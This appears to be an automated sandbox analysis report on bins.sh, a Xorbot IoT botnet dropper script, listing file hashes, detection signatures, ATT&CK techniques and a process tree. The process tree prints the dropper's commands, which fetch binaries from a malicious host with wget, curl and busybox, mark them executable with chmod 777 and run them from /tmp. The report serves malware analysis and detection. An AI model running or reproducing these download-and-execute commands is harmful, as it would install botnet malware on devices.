xorbot | d38975b85e9a377fb5888ec13ae88837f64d91593d1580f96e99ebec92df078e

Analysis

max time kernel
149s
max time network
92s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30-11-2024 11:12

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General

Target

bins.sh
Size

10KB
MD5

2beb59e203938270db6b82eab52dd03d
SHA1

35e3c0fd27b49a8b6d6c9b0d468410fb665390ed
SHA256

d38975b85e9a377fb5888ec13ae88837f64d91593d1580f96e99ebec92df078e
SHA512

5c0184e144326c5d79acf8da8fd7a96b83660dc607e1648cf2b2f4337255bd64c9cd0f7f03368091b8bcd6098021b6a105c0befac45e036d7a0c034938c72628
SSDEEP

192:n+1Mg4ZFevfy3/2NpJp9pd0n//qOquqrqCbqQqfs4vMgGZFevfK3/2NpZpd0n/lg:+xpys4cQ

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
739	chmod
747	chmod

Executes dropped EXE 2 IoCs

Processes:

MOPOaggpuc5z6aiyciPua2rqRcf3DU60iCh1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky

ioc	pid	Process
/tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC	740	MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
/tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky	748	h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

MOPOaggpuc5z6aiyciPua2rqRcf3DU60iCrmwgetcurlbusyboxwgetcurlbusyboxcurlwget

pid	Process
740	MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
742	rm
743	wget
744	curl
746	busybox
751	wget
731	curl
738	busybox
758	curl
714	wget

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxwgetwgetcurlbusyboxwget

description	ioc	Process
File opened for modification	/tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky	curl
File opened for modification	/tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky	busybox
File opened for modification	/tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS	wget
File opened for modification	/tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC	wget
File opened for modification	/tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC	curl
File opened for modification	/tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC	busybox
File opened for modification	/tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:714
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod 777 MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  ./MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:740
- /bin/rm
  rm MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
  2⤵
  - System Network Configuration Discovery
  PID:742
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  ./h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
  2⤵
  PID:750
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:758

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit